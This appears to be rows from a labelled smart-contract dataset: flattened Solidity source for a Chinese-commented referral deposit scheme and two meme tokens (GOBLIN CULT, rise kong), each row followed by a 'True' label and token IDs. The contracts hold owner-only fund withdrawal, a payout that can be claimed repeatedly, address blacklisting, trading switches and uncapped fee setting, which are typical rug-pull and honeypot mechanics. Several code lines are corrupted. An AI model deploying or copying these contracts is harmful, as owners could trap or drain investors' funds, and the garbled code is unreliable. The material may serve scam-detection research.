l = 10; a = rechargeAddress.length.sub(10); } RechargeInfo[] memory data = new RechargeInfo[](l); for (;a < rechargeAddress.length; a++){ data[i] = rechargeAddress[a]; i = i+1; } return data; } // 超过72小时分币 function distribution72() public { if (isTime() == false){return;} uint256 a = 0; if (rechargeAddress.length>50){ a = rechargeAddress.length.sub(50); } uint256 total = (IERC20(ERC20).balanceOf(address(this)).mul(percentage)).div(uint256(1000)); for (;a < rechargeAddress.length; a++){ user[rechargeAddress[a].rec_addr].distributionIncome72 = user[rechargeAddress[a].rec_addr].distributionIncome72.add(total.div(100)); } return; } // 当前时间是否大于 72 小时 function isTime()view public returns(bool) { if ((block.timestamp.sub(rechargeTime)) >= day && rechargeTime != 0){ return true; } return false; } // 直推倍数 function directPushMultiple(address addr) view public isAddress(addr) returns(uint256) { if(balance[addr] == 0){ return 0; } return getDirectTotal(addr).div(balance[addr]); } // 最大收益 function getMaxIncome(address addr) view public isAddress(addr) returns(uint256){ return directPushMultiple(addr).mul(balance[addr]); } // 当前收益 function getIncome(address addr) view public isAddress(addr) returns(uint256){ uint256 multiple = directPushMultiple(addr); if (multiple == 0){ return 0; } if (multiple > 3){ multiple = 3; } return balance[addr].mul(multiple); } // 当前已提取数量 function numberWithdrawn(address addr) view public isAddress(addr) returns(uint256) { return user[addr].amountWithdrawn; } // 当前可提取数量 function availableQuantity(address addr) view public isAddress(addr) returns(uint256) { if (directPushMultiple(addr) < 3){ return 0; } return getIncome(addr).sub(numberWithdrawn(addr)); } // 追投计算 (直推总额 - (本金 * 3)) / 3 追投数量，获得金额 function additionalThrow(address addr) view public isAddress(addr) returns(uint256,uint256){ // 直推总额 uint256 dirTotal = getDirectTotal(addr); // 用户当前收益 uint256 userTotal = getIncome(addr); // 追投数量 uint256 ztAmount = (dirTotal.sub(userTotal)).div(CONTRACT_BALANCE_STEP); // uint256 t = ztAmount.div(CONTRACT_BALANCE_STEP); return (ztAmount,ztAmount.mul(CONTRACT_BALANCE_STEP)); } // 获取下级充值总额 function getDirectTotal(address addr) view public isAddress(addr) returns(uint256) { UserInfo memory u = user[addr]; if (u.directPush.length == 0){return (0);} uint256 total; for (uint256 i= 0; i<u.directPush.length;i++){ total += balance[u.directPush[i]]; } return (total); } // 72收益领取 function distributionIncome72()public{ require(user[msg.sender].distributionIncome72 > 0); IERC20(ERC20).transfer(msg.sender,user[msg.sender].distributionIncome72); } // 获取用户下级 function getDirectLength(address addr) view public isAddress(addr) returns(uint256){ return user[addr].directPush.length; } // Owner 提币 function ownerWitETH(uint256 value) public onlyOwner{ require(getPoolETH() >= value); IERC20(ERC20).transfer(msg.sender,value); } // 权限转移 function ownerTransfer(address newOwner) public onlyOwner isAddress(newOwner) { manager = newOwner; } modifier isAddress(address addr) { require(addr != address(0)); _; } modifier onlyOwner { require(manager == msg.sender); _; } }	True	[ 101, 1013, 1008, 1008, 1008, 7864, 2005, 22616, 2012, 28855, 29378, 1012, 22834, 2006, 12609, 1011, 2340, 1011, 5709, 1008, 1013, 1013, 1013, 23772, 2595, 1011, 6105, 1011, 8909, 4765, 18095, 1024, 10210, 10975, 8490, 2863, 6388, 11113, 9013, 16044, 2099, 2615, 2475, 1025, 10975, 8490, 2863, 5024, 3012, 1034, 1014, 1012, 1020, 1012, 1014, 1025, 1013, 1008, 1008, 1008, 1030, 16475, 8278, 1997, 1996, 9413, 2278, 11387, 3115, 2004, 4225, 1999, 1996, 1041, 11514, 1012, 1008, 1013, 8278, 29464, 11890, 11387, 1063, 3853, 21948, 6279, 22086, 1006, 1007, 6327, 3193, 5651, 1006, 21318, 3372, 17788, 2575, 1007, 1025, 3853, 5703, 11253, 1006, 4769, 4070, 1007, 6327, 3193, 5651, 1006, 21318, 3372, 17788, 2575, 1007, 1025, 3853, 4651, 1006, 4769, 7799, 1010, 21318, 3372, 17788, 2575, 3815, 1007, 6327, 5651, 1006, 22017, 2140, 1007, 1025, 3853, 21447, 1006, 4769, 3954, 1010, 4769, 5247, 2121, 1007, 6327, 3193, 5651, 1006, 21318, 3372, 17788, 2575, 1007, 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/** Submitted for verification at Etherscan.io on 2022-04-10 / //t.me/goblincult // SPDX-License-Identifier: Unlicensed pragma solidity ^0.8.9; abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom( address sender, address recipient, uint256 amount ) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval( address indexed owner, address indexed spender, uint256 value ); } contract Ownable is Context { address private _owner; address private _previousOwner; event OwnershipTransferred( address indexed previousOwner, address indexed newOwner ); constructor() { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; } } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } } interface IUniswapV2Factory { function createPair(address tokenA, address tokenB) external returns (address pair); } interface IUniswapV2Router02 { function swapExactTokensForETHSupportingFeeOnTransferTokens( uint256 amountIn, uint256 amountOutMin, address[] calldata path, address to, uint256 deadline ) external; function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidityETH( address token, uint256 amountTokenDesired, uint256 amountTokenMin, uint256 amountETHMin, address to, uint256 deadline ) external payable returns ( uint256 amountToken, uint256 amountETH, uint256 liquidity ); } contract GCULT is Context, IERC20, Ownable { using SafeMath for uint256; string private constant _name = "GOBLIN CULT"; string private constant _symbol = "GCULT"; uint8 private constant _decimals = 9; mapping(address => uint256) private _rOwned; mapping(address => uint256) private _tOwned; mapping(address => mapping(address => uint256)) private _allowances; mapping(address => bool) private _isExcludedFromFee; uint256 private constant MAX = ~uint256(0); uint256 private constant _tTotal = 1e9 * 10*9; uint256 private _rTotal = (MAX - (MAX % _tTotal)); uint256 private _tFeeTotal; uint256 private _redisFeeOnBuy = 0; uint256 private _taxFeeOnBuy = 10; uint256 private _redisFeeOnSell = 0; uint256 private _taxFeeOnSell = 10; uint256 private _redisFee = _redisFeeOnSell; uint256 private _taxFee = _taxFeeOnSell; uint256 private _previousredisFee = _redisFee; uint256 private _previoustaxFee = _taxFee; mapping(address => bool) public bots; mapping (address => uint256) public _buyMap; address payable private _marketingAddress ; IUniswapV2Router02 public uniswapV2Router; address public uniswapV2Pair; bool private tradingOpen; bool private inSwap = false; bool private swapEnabled = true; uint256 public _maxTxAmount = 10000000 10*9; uint256 public _maxWalletSize = 10000000 10*9; uint256 public _swapTokensAtAmount = 10000 10*9; event MaxTxAmountUpdated(uint256 _maxTxAmount); modifier lockTheSwap { inSwap = true; _; inSwap = false; } constructor() { _rOwned[_msgSender()] = _rTotal; IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); uniswapV2Router = _uniswapV2Router; uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()) .createPair(address(this), _uniswapV2Router.WETH()); _marketingAddress = payable(_msgSender()); _isExcludedFromFee[owner()] = true; _isExcludedFromFee[address(this)] = true; _isExcludedFromFee[_marketingAddress] = true; emit Transfer(address(0), _msgSender(), _tTotal); } function name() public pure returns (string memory) { return _name; } function symbol() public pure returns (string memory) { return _symbol; } function decimals() public pure returns (uint8) { return _decimals; } function totalSupply() public pure override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { return tokenFromReflection(_rOwned[account]); } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom( address sender, address recipient, uint256 amount ) public override returns (bool) { _transfer(sender, recipient, amount); _approve( sender, _msgSender(), _allowances[sender][_msgSender()].sub( amount, "ERC20: transfer amount exceeds allowance" ) ); return true; } function tokenFromReflection(uint256 rAmount) private view returns (uint256) { require( rAmount <= _rTotal, "Amount must be less than total reflections" ); uint256 currentRate = _getRate(); return rAmount.div(currentRate); } function removeAllFee() private { if (_redisFee == 0 && _taxFee == 0) return; _previousredisFee = _redisFee; _previoustaxFee = _taxFee; _redisFee = 0; _taxFee = 0; } function restoreAllFee() private { _redisFee = _previousredisFee; _taxFee = _previoustaxFee; } function _approve( address owner, address spender, uint256 amount ) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer( address from, address to, uint256 amount ) private { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); if (from != owner() && to != owner()) { if (!tradingOpen) { require(from == owner(), "TOKEN: This account cannot send tokens until trading is enabled"); } require(amount <= _maxTxAmount, "TOKEN: Max Transaction Limit"); require(!bots[from] && !bots[to], "TOKEN: Your account is blacklisted!"); if(to != uniswapV2Pair) { require(balanceOf(to) + amount < _maxWalletSize, "TOKEN: Balance exceeds wallet size!"); } uint256 contractTokenBalance = balanceOf(address(this)); bool canSwap = contractTokenBalance >= _swapTokensAtAmount; if(contractTokenBalance >= _maxTxAmount) { contractTokenBalance = _maxTxAmount; } if (canSwap && !inSwap && from != uniswapV2Pair && swapEnabled && !_isExcludedFromFee[from] && !_isExcludedFromFee[to]) { swapTokensForEth(contractTokenBalance); uint256 contractETHBalance = address(this).balance; if (contractETHBalance > 0) { sendETHToFee(address(this).balance); } } } bool takeFee = true; if ((_isExcludedFromFee[from] \|\| _isExcludedFromFee[to]) \|\| (from != uniswapV2Pair && to != uniswapV2Pair)) { takeFee = false; } else { if(from == uniswapV2Pair && to != address(uniswapV2Router)) { _redisFee = _redisFeeOnBuy; _taxFee = _taxFeeOnBuy; } if (to == uniswapV2Pair && from != address(uniswapV2Router)) { _redisFee = _redisFeeOnSell; _taxFee = _taxFeeOnSell; } } _tokenTransfer(from, to, amount, takeFee); } function swapTokensForEth(uint256 tokenAmount) private lockTheSwap { address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, path, address(this), block.timestamp ); } function sendETHToFee(uint256 amount) private { _marketingAddress.transfer(amount); } function setTrading(bool _tradingOpen) public onlyOwner { require(!tradingOpen); tradingOpen = _tradingOpen; } function manualswap() external { require(_msgSender() == _marketingAddress); uint256 contractBalance = balanceOf(address(this)); swapTokensForEth(contractBalance); } function manualsend() external { require(_msgSender() == _marketingAddress); uint256 contractETHBalance = address(this).balance; sendETHToFee(contractETHBalance); } function blockBots(address[] memory bots_) public onlyOwner { for (uint256 i = 0; i < bots_.length; i++) { bots[bots_[i]] = true; } } function unblockBot(address notbot) public onlyOwner { bots[notbot] = false; } function _tokenTransfer( address sender, address recipient, uint256 amount, bool takeFee ) private { if (!takeFee) removeAllFee(); _transferStandard(sender, recipient, amount); if (!takeFee) restoreAllFee(); } function _transferStandard( address sender, address recipient, uint256 tAmount ) private { ( uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam ) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeTeam(tTeam); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _takeTeam(uint256 tTeam) private { uint256 currentRate = _getRate(); uint256 rTeam = tTeam.mul(currentRate); _rOwned[address(this)] = _rOwned[address(this)].add(rTeam); } function _reflectFee(uint256 rFee, uint256 tFee) private { _rTotal = _rTotal.sub(rFee); _tFeeTotal = _tFeeTotal.add(tFee); } receive() external payable {} function _getValues(uint256 tAmount) private view returns ( uint256, uint256, uint256, uint256, uint256, uint256 ) { (uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _redisFee, _taxFee); uint256 currentRate = _getRate(); (uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate); return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam); } function _getTValues( uint256 tAmount, uint256 redisFee, uint256 taxFee ) private pure returns ( uint256, uint256, uint256 ) { uint256 tFee = tAmount.mul(redisFee).div(100); uint256 tTeam = tAmount.mul(taxFee).div(100); uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam); return (tTransferAmount, tFee, tTeam); } function _getRValues( uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate ) private pure returns ( uint256, uint256, uint256 ) { uint256 rAmount = tAmount.mul(currentRate); uint256 rFee = tFee.mul(currentRate); uint256 rTeam = tTeam.mul(currentRate); uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam); return (rAmount, rTransferAmount, rFee); } function _getRate() private view returns (uint256) { (uint256 rSupply, uint256 tSupply) = _getCurrentSupply(); return rSupply.div(tSupply); } function _getCurrentSupply() private view returns (uint256, uint256) { uint256 rSupply = _rTotal; uint256 tSupply = _tTotal; if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal); return (rSupply, tSupply); } function setFee(uint256 redisFeeOnBuy, uint256 redisFeeOnSell, uint256 taxFeeOnBuy, uint256 taxFeeOnSell) public onlyOwner { require(taxFeeOnBuy<=_taxFeeOnBuy\|\|taxFeeOnSell<=_taxFeeOnSell); _redisFeeOnBuy = redisFeeOnBuy; _redisFeeOnSell = redisFeeOnSell; _taxFeeOnBuy = taxFeeOnBuy; _taxFeeOnSell = taxFeeOnSell; } function setMinSwapTokensThreshold(uint256 swapTokensAtAmount) external onlyOwner { _swapTokensAtAmount = swapTokensAtAmount; } function toggleSwap(bool _swapEnabled) external onlyOwner{ swapEnabled = _swapEnabled; } function setMaxTxnAmount(uint256 maxTxAmount) external onlyOwner { require(maxTxAmount > 5000000 10**9 ); _maxTxAmount = maxTxAmount; } function setMaxWalletSize(uint256 maxWalletSize) public onlyOwner { _maxWalletSize = maxWalletSize; } function excludeMultipleAccountsFromFees(address[] calldata accounts, bool excluded) public onlyOwner { for(uint256 i = 0; i < accounts.length; i++) { _isExcludedFromFee[accounts[i]] = excluded; } } }	True	[ 101, 1013, 1008, 1008, 1008, 7864, 2005, 22616, 2012, 28855, 29378, 1012, 22834, 2006, 16798, 2475, 1011, 5840, 1011, 2184, 1008, 1013, 1013, 1013, 1056, 1012, 2033, 1013, 22639, 10841, 7096, 1013, 1013, 23772, 2595, 1011, 6105, 1011, 8909, 4765, 18095, 1024, 4895, 13231, 27730, 10975, 8490, 2863, 5024, 3012, 1034, 1014, 1012, 1022, 1012, 1023, 1025, 10061, 3206, 6123, 1063, 3853, 1035, 5796, 5620, 10497, 2121, 1006, 1007, 4722, 3193, 7484, 5651, 1006, 4769, 1007, 1063, 2709, 5796, 2290, 1012, 4604, 2121, 1025, 1065, 1065, 8278, 29464, 11890, 11387, 1063, 3853, 21948, 6279, 22086, 1006, 1007, 6327, 3193, 5651, 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/** Submitted for verification at Etherscan.io on 2022-03-23 / /** Telegram: https://t.me/RISEKONG / // SPDX-License-Identifier: UNLICENSED pragma solidity ^0.8.4; abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom( address sender, address recipient, uint256 amount ) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval( address indexed owner, address indexed spender, uint256 value ); } contract Ownable is Context { address private _owner; address private _previousOwner; event OwnershipTransferred( address indexed previousOwner, address indexed newOwner ); constructor() { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; } } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } } interface IUniswapV2Factory { function createPair(address tokenA, address tokenB) external returns (address pair); } interface IUniswapV2Router02 { function swapExactTokensForETHSupportingFeeOnTransferTokens( uint256 amountIn, uint256 amountOutMin, address[] calldata path, address to, uint256 deadline ) external; function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidityETH( address token, uint256 amountTokenDesired, uint256 amountTokenMin, uint256 amountETHMin, address to, uint256 deadline ) external payable returns ( uint256 amountToken, uint256 amountETH, uint256 liquidity ); } contract risekong is Context, IERC20, Ownable { using SafeMath for uint256; string private constant _name = "rise kong"; string private constant _symbol = "RISEKONG"; uint8 private constant _decimals = 9; mapping(address => uint256) private _rOwned; mapping(address => uint256) private _tOwned; mapping(address => mapping(address => uint256)) private _allowances; mapping(address => bool) private _isExcludedFromFee; uint256 private constant MAX = ~uint256(0); uint256 private constant _tTotal = 999999999999999 * 10*9; uint256 private _rTotal = (MAX - (MAX % _tTotal)); uint256 private _tFeeTotal; //Buy Fee uint256 private _redisFeeOnBuy = 1; uint256 private _taxFeeOnBuy = 10; //Sell Fee uint256 private _redisFeeOnSell = 1; uint256 private _taxFeeOnSell = 12; //Original Fee uint256 private _redisFee = _redisFeeOnSell; uint256 private _taxFee = _taxFeeOnSell; uint256 private _previousredisFee = _redisFee; uint256 private _previoustaxFee = _taxFee; mapping(address => bool) public bots; mapping(address => uint256) private cooldown; address payable private _developmentAddress = payable(0xdC83bE85D5852c34ff0753942b3fe96A8a199Ec6); address payable private _marketingAddress = payable(0xdC83bE85D5852c34ff0753942b3fe96A8a199Ec6); IUniswapV2Router02 public uniswapV2Router; address public uniswapV2Pair; bool private tradingOpen; bool private inSwap = false; bool private swapEnabled = true; uint256 public _maxTxAmount = 9999999999999 10*9; //1% uint256 public _maxWalletSize = 999999999999 10*9; //1% uint256 public _swapTokensAtAmount = 9999999999999 10**9; //1% event MaxTxAmountUpdated(uint256 _maxTxAmount); modifier lockTheSwap { inSwap = true; _; inSwap = false; } constructor() { _rOwned[_msgSender()] = _rTotal; IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); uniswapV2Router = _uniswapV2Router; uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()) .createPair(address(this), _uniswapV2Router.WETH()); _isExcludedFromFee[owner()] = true; _isExcludedFromFee[address(this)] = true; _isExcludedFromFee[_developmentAddress] = true; _isExcludedFromFee[_marketingAddress] = true; emit Transfer(address(0), _msgSender(), _tTotal); } function name() public pure returns (string memory) { return _name; } function symbol() public pure returns (string memory) { return _symbol; } function decimals() public pure returns (uint8) { return _decimals; } function totalSupply() public pure override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { return tokenFromReflection(_rOwned[account]); } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom( address sender, address recipient, uint256 amount ) public override returns (bool) { _transfer(sender, recipient, amount); _approve( sender, _msgSender(), _allowances[sender][_msgSender()].sub( amount, "ERC20: transfer amount exceeds allowance" ) ); return true; } function tokenFromReflection(uint256 rAmount) private view returns (uint256) { require( rAmount <= _rTotal, "Amount must be less than total reflections" ); uint256 currentRate = _getRate(); return rAmount.div(currentRate); } function removeAllFee() private { if (_redisFee == 0 && _taxFee == 0) return; _previousredisFee = _redisFee; _previoustaxFee = _taxFee; _redisFee = 0; _taxFee = 0; } function restoreAllFee() private { _redisFee = _previousredisFee; _taxFee = _previoustaxFee; } function _approve( address owner, address spender, uint256 amount ) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer( address from, address to, uint256 amount ) private { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); if (from != owner() && to != owner()) { //Trade start check if (!tradingOpen) { require(from == owner(), "TOKEN: This account cannot send tokens until trading is enabled"); } require(amount <= _maxTxAmount, "TOKEN: Max Transaction Limit"); require(!bots[from] && !bots[to], "TOKEN: Your account is blacklisted!"); if(to != uniswapV2Pair) { require(balanceOf(to) + amount < _maxWalletSize, "TOKEN: Balance exceeds wallet size!"); } uint256 contractTokenBalance = balanceOf(address(this)); bool canSwap = contractTokenBalance >= _swapTokensAtAmount; if(contractTokenBalance >= _maxTxAmount) { contractTokenBalance = _maxTxAmount; } if (canSwap && !inSwap && from != uniswapV2Pair && swapEnabled && !_isExcludedFromFee[from] && !_isExcludedFromFee[to]) { swapTokensForEth(contractTokenBalance); uint256 contractETHBalance = address(this).balance; if (contractETHBalance > 0) { sendETHToFee(address(this).balance); } } } bool takeFee = true; //Transfer Tokens if ((_isExcludedFromFee[from] \|\| _isExcludedFromFee[to]) \|\| (from != uniswapV2Pair && to != uniswapV2Pair)) { takeFee = false; } else { //Set Fee for Buys if(from == uniswapV2Pair && to != address(uniswapV2Router)) { _redisFee = _redisFeeOnBuy; _taxFee = _taxFeeOnBuy; } //Set Fee for Sells if (to == uniswapV2Pair && from != address(uniswapV2Router)) { _redisFee = _redisFeeOnSell; _taxFee = _taxFeeOnSell; } } _tokenTransfer(from, to, amount, takeFee); } function swapTokensForEth(uint256 tokenAmount) private lockTheSwap { address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, path, address(this), block.timestamp ); } function sendETHToFee(uint256 amount) private { _developmentAddress.transfer(amount.div(2)); _marketingAddress.transfer(amount.div(2)); } function setTrading(bool _tradingOpen) public onlyOwner { tradingOpen = _tradingOpen; } function manualswap() external { require(_msgSender() == _developmentAddress \|\| _msgSender() == _marketingAddress); uint256 contractBalance = balanceOf(address(this)); swapTokensForEth(contractBalance); } function manualsend() external { require(_msgSender() == _developmentAddress \|\| _msgSender() == _marketingAddress); uint256 contractETHBalance = address(this).balance; sendETHToFee(contractETHBalance); } function blockBots(address[] memory bots_) public onlyOwner { for (uint256 i = 0; i < bots_.length; i++) { bots[bots_[i]] = true; } } function unblockBot(address notbot) public onlyOwner { bots[notbot] = false; } function _tokenTransfer( address sender, address recipient, uint256 amount, bool takeFee ) private { if (!takeFee) removeAllFee(); _transferStandard(sender, recipient, amount); if (!takeFee) restoreAllFee(); } function _transferStandard( address sender, address recipient, uint256 tAmount ) private { ( uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam ) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeTeam(tTeam); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _takeTeam(uint256 tTeam) private { uint256 currentRate = _getRate(); uint256 rTeam = tTeam.mul(currentRate); _rOwned[address(this)] = _rOwned[address(this)].add(rTeam); } function _reflectFee(uint256 rFee, uint256 tFee) private { _rTotal = _rTotal.sub(rFee); _tFeeTotal = _tFeeTotal.add(tFee); } receive() external payable {} function _getValues(uint256 tAmount) private view returns ( uint256, uint256, uint256, uint256, uint256, uint256 ) { (uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _redisFee, _taxFee); uint256 currentRate = _getRate(); (uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate); return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam); } function _getTValues( uint256 tAmount, uint256 redisFee, uint256 taxFee ) private pure returns ( uint256, uint256, uint256 ) { uint256 tFee = tAmount.mul(redisFee).div(100); uint256 tTeam = tAmount.mul(taxFee).div(100); uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam); return (tTransferAmount, tFee, tTeam); } function _getRValues( uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate ) private pure returns ( uint256, uint256, uint256 ) { uint256 rAmount = tAmount.mul(currentRate); uint256 rFee = tFee.mul(currentRate); uint256 rTeam = tTeam.mul(currentRate); uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam); return (rAmount, rTransferAmount, rFee); } function _getRate() private view returns (uint256) { (uint256 rSupply, uint256 tSupply) = _getCurrentSupply(); return rSupply.div(tSupply); } function _getCurrentSupply() private view returns (uint256, uint256) { uint256 rSupply = _rTotal; uint256 tSupply = _tTotal; if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal); return (rSupply, tSupply); } function setFee(uint256 redisFeeOnBuy, uint256 redisFeeOnSell, uint256 taxFeeOnBuy, uint256 taxFeeOnSell) public onlyOwner { _redisFeeOnBuy = redisFeeOnBuy; _redisFeeOnSell = redisFeeOnSell; _taxFeeOnBuy = taxFeeOnBuy; _taxFeeOnSell = taxFeeOnSell; } //Set minimum tokens required to swap. function setMinSwapTokensThreshold(uint256 swapTokensAtAmount) public onlyOwner { _swapTokensAtAmount = swapTokensAtAmount; } //Set minimum tokens required to swap. function toggleSwap(bool _swapEnabled) public onlyOwner { swapEnabled = _swapEnabled; } //Set MAx transaction function setMaxTxnAmount(uint256 maxTxAmount) public onlyOwner { _maxTxAmount = maxTxAmount; } function setMaxWalletSize(uint256 maxWalletSize) public onlyOwner { _maxWalletSize = maxWalletSize; } function excludeMultipleAccountsFromFees(address[] calldata accounts, bool excluded) public onlyOwner { for(uint256 i = 0; i < accounts.length; i++) { _isExcludedFromFee[accounts[i]] = excluded; } } }	True	[ 101, 1013, 1008, 1008, 1008, 7864, 2005, 22616, 2012, 28855, 29378, 1012, 22834, 2006, 16798, 2475, 1011, 6021, 1011, 2603, 1008, 1013, 1013, 1008, 1008, 23921, 1024, 16770, 1024, 1013, 1013, 1056, 1012, 2033, 1013, 4125, 25460, 1008, 1013, 1013, 1013, 23772, 2595, 1011, 6105, 1011, 8909, 4765, 18095, 1024, 4895, 13231, 27730, 10975, 8490, 2863, 5024, 3012, 1034, 1014, 1012, 1022, 1012, 1018, 1025, 10061, 3206, 6123, 1063, 3853, 1035, 5796, 5620, 10497, 2121, 1006, 1007, 4722, 3193, 7484, 5651, 1006, 4769, 1007, 1063, 2709, 5796, 2290, 1012, 4604, 2121, 1025, 1065, 1065, 8278, 29464, 11890, 11387, 1063, 3853, 21948, 6279, 22086, 1006, 1007, 6327, 3193, 5651, 1006, 21318, 3372, 17788, 2575, 1007, 1025, 3853, 5703, 11253, 1006, 4769, 4070, 1007, 6327, 3193, 5651, 1006, 21318, 3372, 17788, 2575, 1007, 1025, 3853, 4651, 1006, 4769, 7799, 1010, 21318, 3372, 17788, 2575, 3815, 1007, 6327, 5651, 1006, 22017, 2140, 1007, 1025, 3853, 21447, 1006, 4769, 3954, 1010, 4769, 5247, 2121, 1007, 6327, 3193, 5651, 1006, 21318, 3372, 17788, 2575, 1007, 1025, 3853, 14300, 1006, 4769, 5247, 2121, 1010, 21318, 3372, 17788, 2575, 3815, 1007, 6327, 5651, 1006, 22017, 2140, 1007, 1025, 3853, 4651, 19699, 5358, 1006, 4769, 4604, 2121, 1010, 4769, 7799, 1010, 21318, 3372, 17788, 2575, 3815, 1007, 6327, 5651, 1006, 22017, 2140, 1007, 1025, 2724, 4651, 1006, 4769, 25331, 2013, 1010, 4769, 25331, 2000, 1010, 21318, 3372, 17788, 2575, 